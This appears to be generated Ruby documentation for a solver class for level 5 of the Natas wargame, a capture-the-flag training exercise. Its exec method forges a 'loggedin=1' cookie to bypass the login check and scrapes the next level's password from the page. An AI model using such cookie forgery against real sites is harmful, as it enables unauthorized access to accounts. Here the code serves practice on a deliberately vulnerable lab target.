Class: NatasLevel5

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 5

Constant Summary collapse

LEVEL =
5
PAGE =
'/'

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
# File 'lib/natas.rb', line 215

def exec
  cookie = 'loggedin=1'
  log("Setting the Cookie HTTP header: #{cookie}")

  log("Parsing the page: #{PAGE}")
  data = get(
    PAGE,
    {
      'Cookie' => cookie
    }
  ).body

  match = /The password for natas6 is (\w{32})/.match(data)
  not_found unless match
  found(match[1])
end